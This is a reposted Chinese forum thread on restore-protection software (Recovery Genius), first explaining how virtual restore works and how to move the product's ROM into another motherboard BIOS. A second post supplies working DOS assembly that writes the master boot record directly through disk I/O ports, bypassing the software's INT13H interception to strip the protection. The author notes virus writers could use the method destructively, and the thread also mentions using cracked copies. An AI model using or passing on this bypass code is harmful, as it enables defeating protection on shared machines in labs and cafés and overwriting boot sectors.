还原精灵原理及破解.doc_第1页
还原精灵原理及破解.doc_第2页
还原精灵原理及破解.doc_第3页
还原精灵原理及破解.doc_第4页
还原精灵原理及破解.doc_第5页
已阅读5页,还剩27页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

还原精灵原理及破解(转载)还原精灵实战一、软件系统的保护与还原 长期以来,学校机房、网吧等人员流动大,机器很多的场所,系统管理员的工作都非常烦琐,经常要重新安装系统、查杀病毒等。如何对硬盘中现有的操作系统和软件进行保护和还原就成了一个课题。 系统的保护和还原的方法从原理上来说主要分三类,一是保护,二是还原,三称为虚拟还原。 1.系统保护 系统保护,就是防止硬盘的重要信息被破坏,防止注册表改写和文件I/O操作等。用户被置于一个预先设置好的环境中,只能干此软件系统允许你干的事情。相对而言,这种方法对用户的约束太多,局限很大,对操作系统进程的干预也比较多,运行效率有一定影响。基于这种思路的软件代表有:美萍、网管大师、方竹等等。另外,通过手工修改注册表隐藏一些系统功能也属于这种方法。 系统保护,好比筑堤抗洪,“千里之堤,毁于蚁穴”,系统漏洞可谓防不胜防,事实上水平高点的用户都有办法饶过它的防护。另外,操作系统升级带来系统内部一些功能变化,这些软件也必须做相应修改,很被动。总的来说,这类软件从思路来说是一种被动防御的姿态,效果不会太理想。 系统保护只是对一些操作进行了限制,硬盘上的数据是动态变化的,它不能根据需要恢复到某一个时点的系统内容。 2.系统还原 系统还原,就是预先将系统内容做好全部或部分备份,当系统崩溃或者混乱需要重新安装的时候,将原来的备份进行恢复,将系统内容还原到备份那个时点的内容。这种方法不干预用户的操作,不干扰系统进程。基于还原最简单也最原始的方法是用一个同样大的硬盘一比一地将系统克隆或拷贝下来。更好一点的方法是将系统分区(一般是C盘)用GHOST或WINIMAGE等做个镜像,保存到另外的硬盘或分区上。 系统还原比较于系统保护,虽然有诸多优点,但它的缺点也很明显:需要占用很大硬盘空间,需要大量的还原时间。这些缺点实际上阻碍了它在实际工作中的应用范围,除了家庭用户和一些重要部门对重要数据用这个方法以外,学校和网吧等极少采用这种“笨”办法。 系统还原的特点是可以根据需要将系统还原到备份那个时点的内容。 3.虚拟还原 虚拟还原的工作原理实际上是基于系统保护的,但它的保护做在系统的最底层,先于操作系统,类似于引导型病毒(A型病毒)。它对系统进程有一定干扰,但是这个干扰几乎可以不被察觉。它不干预用户的任何操作,对普通用户来说,可以当它是透明的根本不存在。 虚拟还原的工作方式又类似于系统还原,可以在需要的时候将系统进行“备份”,这个备份的速度非常快,最多十几秒就可以完成。它需要占用少量硬盘空间,占用率低于数据量的千分之一。同时它的还原速度也是惊人的,同样最多需要十几秒种。 正由于虚拟还原同时具有系统保护和系统还原的优点,又尽可能避免了它们的一些重要缺点,所以基于虚拟还原方式的软件越来越受到用户青睐。这些软件的代表有:还原精灵,虚拟还原,硬盘还原卡(其实是做在硬件上的软件,主要为了防止盗版)等。 虚拟还原的保护看上去相当神奇,如果按系统还原的工作原理来理解,从硬盘占用到还原速度绝对不可思议。它的保护原理在下一节里面再和大家一起分析。 二、虚拟还原的工作原理探讨 由于本人不认识这些虚拟还原的软件作者,没有机会跟他们请教,所以以下关于其工作原理的探讨都是基于雨人的猜想和臆测,你如果对原理不感兴趣,完全可以跳过这个部分。 1.文件存储分配原理 我们知道,硬盘上最重要的数据区除了BOOT(引导区)外,是ROOT(根目录)和FAT(文件分配表),ROOT里面记录的是文件或子目录的属性、尺寸、日期以及它的起始簇(软盘里面是扇区)。FAT表里面记录的是每个簇的使用分配情况。 正常情况下,当我们向硬盘里面添加一个新文件,OS(操作系统)首先在ROOT里面将文件属性等填进去,在FAT表里面按一定算法找到一个空簇,将它标记为被该文件占用后,在ROOT里面将这个簇做为起始簇记录进去,然后将文件内容写入这个簇。如果文件没有写完,系统再在FAT里找一个空簇,将其标记为占用,然后在前一个簇的最后做一个指针向这个新的簇,形成一个单链表,接着再在这个新的簇里面继续写内容。如此重复直到文件内容完全记录完毕。最后系统根据占用的总簇数计算出文件尺寸,取出当前时间写到ROOT里面。 当我们删除一个文件的时候,系统实际上并不到每个簇去清除内容,而只是把ROOT里面文件名的首字符换成&符号,就是标记这个文件为删除,然后延着链表在FAT表中将该文件占用的所有簇释放(标记为空),这样新的文件写入的时候就可以使用这些被释放的簇。当我们改变一个文件的属性或名字的时候,系统实际只在ROOT里面做一点改动而已。子目录下的文件稍微复杂一些,它们的目录信息不是记录在ROOT里面,而是在子目录所指的第一个簇,实际是个SUBROOT。实际硬盘的存储还要复杂得多,比如它的FAT表还有个副表,用作容错处理。我们这里只是为了讨论虚拟还原的原理,就不做深入讨论,只是简单说明一下。2.虚拟还原的保护原理根据雨人的臆测,虚拟还原的软件是这样工作的:它首先将ROOT、SUBROOT以及FAT表都做个备份。然后,软件将备份的数据以及它的工作参数(密码、自动还原时间等)一起保存在硬盘上。这些空间也同时保护起来。 当用户删除文件、改名、改文件属性的时候,系统按正常情况处理,还原软件不做任何干涉。因为这些操作只针对ROOT和FAT表,并不去动数据区的任何数据。而这两个表软件已经备份过,需要的时候完全可以恢复。最复杂的是添加新文件的情况。为了保护原来的数据,还原软件不允许在已经保护的簇进行任何的覆盖操作,即使现在的FAT表里面标记是空的,还原软件通过对照备份的FAT表,只要这个簇在表里面,它就会要求OS(操作系统)去找一个新的簇。这样数据区的数据就不会被覆盖。其实这样说起来简单,但是OS不会知道系统里面已经装了个RECOVERY(虚拟还原软件),所以它还会按同样的算法把同一个簇找出来。这样的话会形成死循环,无法工作下去。 换一种方法,如果RECOVERY在删除文件的时候也不释放FAT表,那么OS找新簇的时候自然避开了已经保护的簇,但是有新问题:我们在做SCANDISK的时候会报出很多丢失的簇。或者,RECOVERY根本就象个病毒一样,把一个虚假的ROOT显示给我们看,让我们以为文件已经删除了,其实硬盘上的ROOT它什么也不动。这很象以前一个叫DIR2病毒干的那样。其实我一直就觉得RECOVERY象个病毒一样在工作,至少安装以后,系统的ANTI VIRUS(反病毒功能)必须DISABLE,否则开机就报警,无法工作。当我们要恢复数据的时候,实际上相当简单,RECOVERY把备份的ROOT、SUBROOT以及FAT表全部恢复掉即可。这一点点内容,恢复起来自然神速。我们无须深入了解RECOVERY到底是怎样去与OS协同工作的,不同的RECOVERY软件采用的方法可能都不尽相同,对系统工作的干扰程度也不尽相同。我们只要明白它确实是用系统保护的方式在工作,而且是保存了很少量的数据,能快速恢复被保护的内容,这就够了。3.一点说明前两节的内容讲原理比较多些,也比较枯燥,估计很多朋友都不愿意看下去。实在是有太多朋友包括雨人公司的技术人员一直在问这个问题:RECOVERY到底是怎样工作的?所以不厌其烦地写了那么多。另外,保护方式的分类是雨人拍拍脑袋想出来的,没有参考过权威的著述,也许有点荒谬 。同样,硬盘的工作原理也只是雨人在很早前学过,脑袋里面还有点残留印象,写的时候也没去查有关资料,完全是看着天花板回忆着写的,谬误之处在所难免。希望大家领会精神即可。如能不吝指正,不胜感激!下一节开始讲实战吧。三、虚拟还原软件介绍其实,我用得最多的软件只是一个:Recovery Genius(还原精灵),不过我分别研究过它的三个版本,算是有一点心得。另外一个名叫“虚拟还原”的软件,在一个朋友那里试用了一下,和Recovery Genius大同小异,没有仔细比较。至于硬盘还原卡,我觉得就象当年的汉卡、防病毒卡等,是一个特定时期的特定的产物,软件只能做成硬件,才能卖得有声有色,才能买得有名有目。1.光盘版Recovery Genius我拿到手的第一个版本是张光盘,安装的时候需要输入序列号。是通过光盘启动来安装的。整个650M的光盘只有中间有非常少的一点点内容,实在是巨大浪费(浪费我的CD-R碟片)。这个光盘实际是加过密的,上面一个重要的文件Boot.img的文件尺寸有1.8G之大(假的!)。但是在我用的Nero下面,这个防护脆弱不堪,简单地就COPY过来了。只是后来我想把光盘上有用的东西拿出来的时候,才发现它在文件尺寸上动过手脚。我当时就想,Recovery Genius做得象个病毒一样小,它有必要用那么大的一张光盘来做载体吗?这个光盘上那些东西实际都是无用的,只有它的引导部分真正有用。因此,我用Nero将光盘做了个镜像文件(也可以用WinImage等来做),然后用Cdmage将它读出来,将它的BOOTUP部分分离出来,是个1.44m启动软盘的镜像。最后将分离出来的IMG文件用WinImage写到一张软盘上,成功地将Recovery Genius改成了软盘版。仔细看看这张软盘,整张盘上除了一个C之外,空空如也,剩余空间有1.3M多,几乎就是张空盘。软件也只有在启动的时候才能安装,不用说,所有的东西还是在Boot扇区里面 真是越看越象病毒!如果朋友们对这张软盘有兴趣,什么时候我找个空间把这个镜像上传上去供大家下载。序列号就不提供了,现在的Crack站点那么多,真有兴趣的朋友自己找找应该能找到。这个版本是简体中文的,安装起来很简单。要提醒大家的是,首先,安装之前应该整理硬盘,这样可以将软件对系统进程的干扰降到最低。太乱的硬盘在安装的时候甚至会出错。其次,BIOS里面的Anti Virus或者叫Virus Waring之类的防病毒选项一定要关掉,否则机器启动不起来,一直报警。另外,轻易不要将其中“禁止软盘启动”选中。刚开始用这个软件的时候,我因为没有注意BIOS病毒防护的问题,机器启动不起来,以为安装失败了,而当时我恰好把“禁止软盘启动”选中了。为了下掉这个“失败”的软件,我用软驱、光驱都无法启动系统,接一个本可以启动的硬盘在前面同样不能启动!(是不是很象当年KV300中的逻辑炸弹?)最后雨人使出浑身解数,用了相当多复杂的手段终于把硬盘“救活”了。我的担心是如果系统真的出问题,一般的爱好者几乎无法自救。软件参数设置是在开机时,喇叭“嘟嘟”响两声的时候按Ctrl-Home,输入密码后就可以进入设置。2.硬盘版Recovery Genius这个版本有2.2M左右大小,是繁体中文版本,在S可以Down(不过好象没有Crack),版本号是5.0,也是我见过的功能最完善的虚拟还原软件。我拿到手的是个Crack过的版本,序列号乱输就可以用。这个版比前面说的光盘版多了一些功能,在任务栏上多了一个图标,显示保护空间在硬盘上的占用情况。同时,可以点击图标直接在WIN9X里面设置各种参数,这样更加方便。当然也可以象光盘版本一样,在开机时按Ctrl-Home进去设置。仔细看,这个Recovery还多了CMOS自动恢复的功能,确实想得比较周到。不过我觉得CMOS与硬件密切相关,不是任何选项都可以通过一个通用程序来调节的。CMOS最好的保护还是设置密码。这样对付一般水平的Cracker是足够了。3.BIOS版Recovery Genius捷波(JetWay)的815EP主板首先推出了整合在BIOS里面的Recovery Genius,在网上造成了一定轰动效应。很多朋友都研究了怎样将这个Recovery提取出来,整合到其他主板里面。雨人按照一些网站上的指导,简单地就把手边这片大众的815EP主板武装了起来。唯一的麻烦只是在于版本的选择让人伤点脑筋,找到一个可以用的正式版花了我很多时间。按一些网站上介绍的拿到的只是一个Test Version(测试版),而去JetWay的网站上下来的中文R01版和英文正式版都经过了技术处理,只能用在JetWay的主板上。 根据我的猜测,这个版本实际是将硬件版(硬盘还原卡)的内容做到了BIOS里面。而所谓硬盘还原卡,我想它的内容也只是有一个BIOS芯片,软件都写在它的BIOS里面了。这个猜测还有点依据是这个版本的Recovery在用CBROM写进主板BIOS的时候,是用的ISA选项,证明它是个ISA的插卡的BIOS,只不过它把检测硬件是否存在的部分PASS掉了。BIOS版本的Recovery以及如何将它DIY到自己主板上是我下一节要重点讲的。四、将Recovery Genius写入BIOS以大众(FIC)815EP主板FIC-FS15为例说明。其他主板也可以参考用同样的方法DIY。1.准备软件首先,在C盘根目录下建立一个叫BIOS的子目录,备用。大众FIC的用户可以安装主板光盘所带的LogoGenie这个软件,然后在软件所在目录(缺省目录是C:/Program Files/FIC/LogoGenie)下找到BMPSIZE.EXE这个文件,然后将这个文件拷贝到C:BIOS下,将它改名为CBROM.EXE,实际上这个软件是CBROM V2.07。再到这个目录的下一级目录(C:/Program Files/FIC/LogoGenie/Utility)下找到FLASH.EXE,也将它拷贝到C:/BIOS子目录下,这个软件实际是AWDFlash V7.97。也可以在INTERNET上下载CBROM和AWDFLASH这两个文件,只要CBROM版本不低于2.07,AWDFlash版本不低于7.3都可以。2.获取BIOS文件首先将主板的BIOS保存下来。在纯DOS下,CD/BIOS,运行FLASH.EXE,回一次车,屏幕下方出现Do You Want To Save Bios (Y/N)的时候,按Y,然后输入文件名字,比如FS15.BIN再回车。这样在C:/BIOS下生成了一个新文件FS15.BIN,这个就是当前主板的BIOS。然后到INTERNET上拉JETWAY的BIOS文件,在www.MYDRIVERS.COM下,JETWAY的BIOS有很多,必须找2001年5月份的那个版本。更早的是测试版,最新的做过处理,不能用在其他主板。下载地址:/bios/618ASA06.zip 将下载的618asa06.zip文件解开,其中的618asa06.bin拷贝到C:/BIOS目录下。 3.进一步处理首先看看现在主板的情况,键入命令:CBBOM FS15.BIN /D,可以看到如下内容:CBROM V2.07 (C)Award Software 2000 All Rights Reserved. *FS15.bin BIOS component * No. Item-Name Original-Size Compressed-Size Original-File-Name 0. System BIOS 20000h(128.00K) 1472Ch(81.79K)3slap.BIN1. XGROUP CODE 0C090h(48.14K)0831Dh(32.78K)awardext.rom2. CPU micro code01800h(6.00K) 00FE5h(3.97K) CPUCODE.BIN3. ACPI table03473h(13.11K)014A4h(5.16K) ACPITBL.BIN4. EPA pattern 0168Ch(5.64K) 002AAh(0.67K) AwardBmp.bmp5. GROUP ROM 0 01DE0h(7.47K) 00EFCh(3.75K) _EN_CODE.BIN6. PCI driverA 08000h(32.00K)04E3Eh(19.56K)k:addromNCR400.rom7. LOGO BitMap 4B30Ch(300.76K) 041E5h(16.47K)FIC_1st2.bmp Total compress code space= 34000h(208.00K)Total compressed code size = 2909Bh(164.15K)Remain compress code space = 0AF65h(43.85K) * Micro Code Information *Update IDCPUIDUpdate IDCPUIDUpdate IDCPUIDUpdate IDCPUID-+-+-+-PPGA 03 0665PPGA 11 0681PPGA 10 0683PPGA 08 0686 注意其中Remain compress code space这一行,我们看到剩余的空间是43.85K。 然后看看JETWAY的BIOS。键入命令CBROM 618asa06.bin /D * 618asa06.bin BIOS component * /P> No. Item-Name Original-Size Compressed-Size Original-File-Name = 0. System BIOS 20000h(128.00K) 14FB1h(83.92K)628ASL06.BIN1. XGROUP CODE 0BD80h(47.38K)08374h(32.86K)awardext.rom2. CPU micro code02800h(10.00K)01782h(5.88K) CPUCODE.BIN3. ACPI table02EB6h(11.68K)01202h(4.50K) ACPITBL.BIN4. EPA pattern 0168Ch(5.64K) 002AAh(0.67K) AwardBmp.bmp5. GROUP ROM 001EE0h(7.72K) 00F69h(3.85K) _EN_CODE.BIN6. NNOPROM0127Fh(4.62K) 00BF3h(2.99K) NNOPROM.BIN7. ROS ROM 12AF0h(74.73K)0699Bh(26.40K)ROS.BIN8. ISA ROM1 09800h(38.00K)092C8h(36.70K)STDE.DAT9. VRS ROM 02280h(8.62K) 014BBh(5.18K) ANTI_VIR.BIN otal compress code space= 35000h(212.00K)Total compressed code size = 32BCDh(202.95K)Remain compress code space = 02433h(9.05K) * Micro Code Information * Update IDCPUIDUpdate IDCPUIDUpdate IDCPUIDUpdate IDCPUID-+-+-+-PPGA 03 0665PPGA 14 0681PPGA 10 0683PPGA 08 0686PPGA 01 068APPGA 04 06B0我们要的Recovery Genius实际就是第8项:STDE.DAT,可以看到文件的原始大小是38K,压缩后占36.7K。因此,FS15主板剩余的空间是足够的。用命令:CBROM 618ASA06.BIN /ISA EXTRACT将STDE.DAT拷贝出来。 CBROM V2.07 (C)Award Software 2000 All Rights Reserved. ISA ROM - - - 1 : STDE.DATEnter an extract file Name: (STDE.DAT) 这个时候回车就将在C:/BIOS下生成一个新文件STDE.DAT 如果你的主板空间不够,最简单的方法可以将开机的LOGO画面去掉,用下面的命令:CBROM FS15.BIN /LOGO RELEASE 如果空间还不够,可以试着将PCI项去掉,只要把上面命令中的/LOGO换成/PCI就可以。不过下掉这个项目,主板功能是否正常就不敢保证了。 4.在BIOS文件中加入Recovery Genius 命令:CBROM FS15.BIN /ISA STDE.DAT出现:CBROM V2.07 (C)Award Software 2000 All Rights Reserved.Adding stde.dat . 96.5% 表明成功地加入了文件,出现其他提示都可能有错误(当然如果你英语很好都能看懂就不用我说了),出现错误千万不要再执行下面一步,否则你的机器可能再也点不亮了。5.将新的BIOS写回主板命令:Flash FS15.BIN /SN /PY 执行完毕重新启动系统就可以看到在检测完DMI后有一行提示:Press Ctrl-R to Enter Recovery Genius 表明Recovery Genius已经成功写入BIOS 6.一点说明 上面的说明全部是基于大众(FIC)主板,更多照顾一点使用FIC主板的一般水平的朋友,主要是因为云南绝大多数使用大众板的朋友都为雨人同志解决衣食住行问题做出过贡献,所谓知恩图报。如果你使用的是其他品牌的主板,只要是AWARD BIOS的,而且BIOS里面有足够的空间,都可以用上面的方法,举一反三,Do It Yourself。搜索更多相关主题的帖子: 还原精灵 原理 破解 本帖最近评分记录yansy 技术积分 +1 精品文章 2006-2-13 08:13 UID65 精华1 积分3 来自广州 在线时间23 小时 最后登录2008-3-25 查看个人网站查看详细资料 顶端 木村 普通会员 当前离线 帖子84 技术积分1 积分 资产50 wb 注册时间2005-12-14 2# 大 中 小 发表于 2006-2-1 19:49 只看该作者 我的博客 发短消息 加为好友 查看宝箱 一种可以穿透还原卡和还原软件的代码CVC/GB 风般的男人还原卡和还原软件被广泛运用于各种公共场合的电脑上,比如学校机房和网吧。这些还原卡和还原软件(以下我简称为虚拟还原技术)能够记录下一切对硬盘的写操作,不论您对硬盘进行拷贝还是移动删除甚至是格式化分区等操作,只要一重新启动,一切都会恢复到这个操作之前的情况,因此有些虚拟还原厂商还会在广告词中加上一句“可以防范一切电脑病毒”。这种虚拟还原的方法在大部分时候的确可以对公共机房的电脑起到很好的保护作用,难道真的没有一种方法能够穿透这种保护机制么?答案是否定的,下面请听我一一道来。一、虚拟还原技术的原理本文所说的是一种普遍运用于还原卡或还原软件上的技术,当然,不同品牌不同厂商生产的可能不尽相同,但原理却是相通的。首先,还原卡和还原软件会抢先夺取引导权,将原来的0头0道1扇保存在一个其他的扇区,(具体备份到那个扇区是不一定的),将自己的代码写入0头0道1扇,从而能在操作系统之前得到执行权,这一点类似于一个引导型病毒;然后,我们来看看虚拟还原技术在操作系统之前都做了些什么:1将中断向量表中的INT13H的入口地址保存;2把自己用于代替INT13H的代码写入内存,并记住入口地址,当然这种“写入内存”并不是普通的“写”,而是一种我们称为“常驻”的方法,有关“常驻程序”的实现方法我们不另外花篇幅来描述了,如果你还不了解的话请自己找有关资料,也可以到或找风般的男人交流;3将中断向量表中INT13H的入口地址改为这段常驻程序的入口地址。补充一点,虚拟还原程序在修改INT13H的入口后往往都会修改一些其他中断入口,当然也是通过常驻程序来实现的,这些中断用来实现对中断向量表中INT13H入口地址监控,一旦发现被修改,就马上把它改回,这样做同样是用来防止被有心人破解。好了,你已经看出来了,这段用来替代BIOS提供的INT13H的代码才是虚拟还原技术的关键,那么这段代码到底实现了些什么了,以下是本人对此拙浅的理解:1拦截所有INT13H中对硬盘0头0道1扇的操作这些包括读写操作,把所有的对0头0道1扇的操作改为对虚拟还原程序备份的那个扇区的操作,这样做的目的是保护虚拟还原代码不被破坏,并且不能被有心人读出进行破解,即使你用扇区编辑工具查看主引导区,实际上你看到的是这个备份的主引导区。2拦截所有INT13H中的写硬盘操作这里包括对8G以下的硬盘的普通通过磁头、磁道、扇区定位的INT13H中的写操作,和扩展INT13H中基于扇区地址方式的对大硬盘的写操作,甚至包括扩展INT13H中对一些非IDE接口的硬盘的写操作。至于拦截后做什么是虚拟还原技术实现的关键,在早期的DOS系统当中完全可以“什么都不做”,也就是说当用户写硬盘时实际上是什么都没做,但现在的操作系统都要对硬盘进行一些必要的写操作,比如对虚拟内存的写操作。众所周知,虚拟内存实际上就是硬盘,而如果禁止操作系统写硬盘的话显然后果是不堪设想的。所以,大多数虚拟还原厂商用的方法是占用一些硬盘空间,把硬盘所进行的写操作做一个记录,等系统重新启动后还原这一记录,但是怎样科学记录硬盘的写操作,是我一直没想通的问题,这种“科学”应该体现在时间上和硬盘空间的占用量上的,也就是说怎么样用最少的时间和最少的硬盘空间来记录硬盘的写操作是实现关键,如果有这方面想法的朋友欢迎和我交流;3备份端口70H,71H中的内容,并把最后一次执行时端口70H,71H的内容和备份的内容做比较,不一样就提示BIOS被修改,是否还原,并通过密码验证修改BIOS是否合法。二、PC机的中断机制中断提供了最基本的硬件和软件的接口,它使得程序员不必了解硬件系统的细节,只要直接调用系统提供的中断服务子程序,就可以完成相应功能,这样能使得程序设计更为方便。其实现机制如下:当某一中断源发出中断请求时,CPU能够决定是否响应这一中断请求(当CPU在执行更为重要的工作时,可以暂不响应),如果允许响应该中断,CPU会在现行的指令执行完后,把断点处的下一条指令地址和各寄存器的内容和标志位的状态,推入堆栈进行保护,然后转到中断源服务程序的入口,进行中断处理,当中断处理完成后,再恢复被保留的各寄存器、标志位状态和指令指针,使CPU返回断点,继续执行下一条指令。为了区别各个中断,CPC系统给每个中断都分配了一个中断号N,比如INT 3H是断点中断,INT 10H是显示中断,我们今天要讨论的主要是INT 13H磁盘读写中断。要说清楚PC机上的中断机制,用这一点篇幅是完全不够的,这里我所说的只是一个大概,如果你不清楚的话,请查阅一些资料或和我交流,我们今天重要要说的就是以INT13H为例看看BIOS提供给我们的中断到底都是在做什么?所谓BIOS中断简单说就是你机器上的BIOS提供的中断,那么在BIOS中断的后面,到底是些什么呢?实际上是一些对端口的输入输出操作,PC的每个端口都实现特定的功能,我们完全可以不调用BIOS提供的中断而直接用输入输出指令对这些端口进行操作,从而可以实现象调用BIOS中断一样的功能,但是一个前提是你必须对这些端口有详细的了解。反过来说,PC的中断系统的一大好处就是能够让程序员无须了解系统底层的硬件知识的而能够编程,从这点看,中断有点象我们平时所说的“封装”,我不知道这样说对不对,但的确中断为我们“封装”了许多系统底层的细节。三、硬盘读写端口的具体含义 对硬盘进行操作的常用端口是1f0h1f7h号端口,各端口含义如下:端口号 读还是写 具体含义1F0H 读/写 用来传送读/写的数据(其内容是正在传输的一个字节的数据)1F1H 读 用来读取错误码1F2H 读/写 用来放入要读写的扇区数量1F3H 读/写 用来放入要读写的扇区号码1F4H 读/写 用来存放读写柱面的低8位字节1F5H 读/写 用来存放读写柱面的高2位字节(其高6位恒为0)1F6H 读/写 用来存放要读/写的磁盘号及磁头号 第7位 恒为1 第6位 恒为0 第5位 恒为1 第4位 为0代表第一块硬盘、为1代表第二块硬盘 第30位 用来存放要读/写的磁头号1f7H 读 用来存放读操作后的状态 第7位 控制器忙碌 第6位 磁盘驱动器准备好了 第5位 写入错误 第4位 搜索完成 第3位 为1时扇区缓冲区没有准备好 第2位 是否正确读取磁盘数据 第1位 磁盘每转一周将此位设为1, 第0位 之前的命令因发生错误而结束 写 该位端口为命令端口,用来发出指定命令 为50h 格式化磁道 为20h 尝试读取扇区 为21h 无须验证扇区是否准备好而直接读扇区 为22h 尝试读取长扇区(用于早期的硬盘,每扇可能不是512字节,而是128字节到1024之间的值) 为23h 无须验证扇区是否准备好而直接读长扇区 为30h 尝试写扇区 为31h 无须验证扇区是否准备好而直接写扇区 为32h 尝试写长扇区 为33h 无须验证扇区是否准备好而直接写长扇区注:当然看完这个表你会发现,这种读写端口的方法其实是基于磁头、柱面、扇区的硬盘读写方法,不过大于8G的硬盘的读写方法也是通过端口1F0H1F7H来实现的_四、一个通过对硬盘输入输出端口操作来读写硬盘的实例让我们来看一个关于INT13H读写硬盘程序实例。在例子中详细说明了硬盘的读写操作所用到的端口,并且把通过INT13H读出的主引导区得到的数据和通过输入输出读主引导区得到的数据进行比较,从而证实这两种操作功能相同,程序片段如下:mov dx,1f6h ; 要读入的磁盘号及磁头号mov al,0a0h ;磁盘0,磁头0 out dx,almov dx,1f2h ;要读入的扇区数量mov al,1 ;读一个扇区 out dx,al mov dx,1f3h ;要读的扇区号 mov al,1 ;扇区号为1out dx,almov dx,1f4h ;要读的柱面的低8位mov al,0 ; 柱面低8位为0 out dx,almov dx,1f5h ; 柱面高2位 mov al,0 ; 柱面高2位为0(通过1F4H和1F5H端口我们可以确定; 用来读的柱面号是0)out dx,almov dx,1f7h ;命令端口mov al,20h ; 尝试读取扇区out dx,alstill_going:in al,dxtest al,8 ;扇区缓冲是否准备好jz still_going ;如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行。mov cx,512/2 ;设置循环次数(512/2次)mov di,offset buffermov dx,1f0h ;将要传输的一个字节的数据rep insw ;传输数据; -mov ax,201h ;以下是用INT13H读硬盘的0磁头、0柱面、1扇区mov dx,80hmov cx,1mov bx,offset buffer2int 13hmov cx,512 ;以下部分用来比较2种方法读出的硬盘数据mov si,offset buffermov di,offset buffer2repe cmpsbjne failuremov ah,9mov dx,offset readmsgint 21hjmp good_exitfailure:mov ah,9mov dx,offset failmsgint 21hgood_exit: ;以下部分用来结束程序mov ax,4c00h ;退出程序int 21hreadmsg db The buffers match. Hard disk read using ports.$failmsg db The buffers do not match.$buffer db 512 dup (V)buffer2 db 512 dup (L)五、可以穿透还原卡或是还原软件保护的代码你可以对照硬盘读写端口含义表,再好好看看上面的例子,你将会对硬盘读写端口有一个比较深的理解。好了,到了该把谜底揭晓的时候了,重新回到我们的主题。正如你现在想象的,这种可以穿透还原卡或是还原软件保护的代码的确是对硬盘读写端口的输入输出操作。现在,我们已经可以从原理上理解了,还原卡拦截的是中断操作,但却拦截不了输入输出操作,而用输入输出操作足够可以对硬盘进行写操作了,当然用输入输出操作也完全可以读到被虚拟还原程序屏蔽的关键部分,被还原卡或是还原软件屏蔽的0头0道1扇。知道了这一原理以后,可能是仁者见仁智者见智的,如果你是一个虚拟还原技术的破解者、一个病毒制造者,或是虚拟还原技术的设计者,往往对此的理解都是不尽相同的。在此强调我不赞成制造病毒,但一个病毒制造者完全可以用此原理写出一个可以实现破坏装有还原卡或还原软件的机器了,所以我要提醒虚拟还原用户的是,不要以为装有还原卡或是还原软件就掉以轻心,要知道世界上还是有病毒能够穿透虚拟还原技术的保护,达到破坏硬盘的目的的,想象一下如果把这一原理运用到CIH病毒中,或者运用到硬盘杀手病毒中,其后果是不堪设想的。谈谈如何用这种可以穿透虚拟还原技术的代码来破解还原软件(如还原精灵)吧。以下是我写的用来测试破解还原精灵的代码,本代码编译后的程序需要在纯DOS环境执行,在DOS下我用这段代码成功的把还原精灵给卸载了。.286CODE SEGMENT ASSUME CS:CODE,DS:code,ES:codeSTART:;-;以下代码用INT13H读主引导区mov ax,0201hmov dx,0080hmov cx,0001hmov bx,7c00hint 13h;-;以下代码用I/O端口来写主引导区mov dx,1f6h ; 要读入的磁盘号及磁头号mov al,0a0h ; 磁盘0,磁头0 out dx,almov dx,1f2h ; 要写的扇区数量mov al,1 ; 写一个扇区out dx,almov dx,1f3h ;要写的扇区号mov al,1 ;写到1扇区out dx,almov dx,1f4h ; 要写的柱面的低8位mov al,0 ; 低8位为0out dx,almov dx,1f5h ; 要写的柱面的高2位mov al,0 ; 高2位为0out dx,almov dx,1f7h ;命令端口mov al,30h ;尝试着写扇区.out dx,aloogle:in al,dxtest al,8 ;磁盘扇区缓冲是否准备好jz ooglemov cx,512/2 ;设置循环次数(512/2)mov si,7c00hmov dx,1f0h ;数据端口,用来存放要发送的数据.rep outsw ;发送数据.; -;退出程序mov ah,4chint 21CODE ENDS END START上面的程序非常简单,说明如下:1、先把被还原精灵备份的原来的主引导区用INT13H读出来,这里虽然是对0头0道1扇进行读操作,但实际上是在读被还原精灵把原来的主引导区备份进去的那个扇区;2、把读出的原来的主引导区通过输入输出操作写进真正的主引导区,换句话说就是把还原精灵给彻底删除了,此时重新启动你将发现还原精灵已经没有了。我写了个FORWIN98/NT/XP的卸载还原精灵等软件的程序,大家可到下载,不过已经有人先我一步了,那就是网吧终结者出的一个清MBR的程序,我试了一下,发现的确有用,我还没有仔细分析该程序,但我敢肯定其原理差不多。那个程序写得不错,不过我认为有一点需要改进,我的硬盘的MBR程序是我自己写的,用来实现多引导操作,当我执行完该清MBR程序后,我的多引导代码就没了,我觉得此程序如果能把核心代码部分改成象我以上的代码,在还原精灵下是把装还原精灵之前的MBR写回到主引导区,即使没装还原精灵的硬盘也只是把主引导区写回主引导区,就没有任何的危险了。用以上的方法要实现还原卡的破解可能是不行的,因为还原卡毕竟是硬件,它可以先于硬盘引导前执行,这样即使你写回了硬盘的主引导区,还原卡还是可以把它写回的,但是,在破解还原卡的时候,完全可以利用文章中的原理,把还原卡写入硬盘主引导区的真正代码读出进行分析,甚至有些还原卡的密码就在这个扇区中。 对于还原卡和还原软件的制造者来说,如何让您制造的还原卡或还原软件更安全,可能是一个需要思考的问题。真心希望以后的还原卡或是还原软件在拦截INT13H的同时也能拦截硬盘I/O操作。在我安装还原精灵的时候看到一个选项是“防止硬盘I/O破坏”,开始还以为还原精灵在这方面做的不错,想到了从拦截I/O操作来保护硬盘。可惜我错了,即使选择这一个选项,也同样可以通过输入输出端口操作来写硬盘。对于掌握了这种技术的人来说,这种还原卡或是还原软件可以说是形同虚设。因此我认为,还原卡和还原软件不但要实现拦截所有硬盘写操作、拦截对主引导区的读写操作,更应该拦截对硬盘的读写端口的操作,只有这样的虚拟还原技术才可能使基于硬盘的读写端口操作所对硬盘的破坏或是对虚拟还原技术的破解变成不可能。 UID65 精华1 积分3 来自广州 在线时间23 小时 最后登录2008-3-25 查看个人网站查看详细资料 顶端 木

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
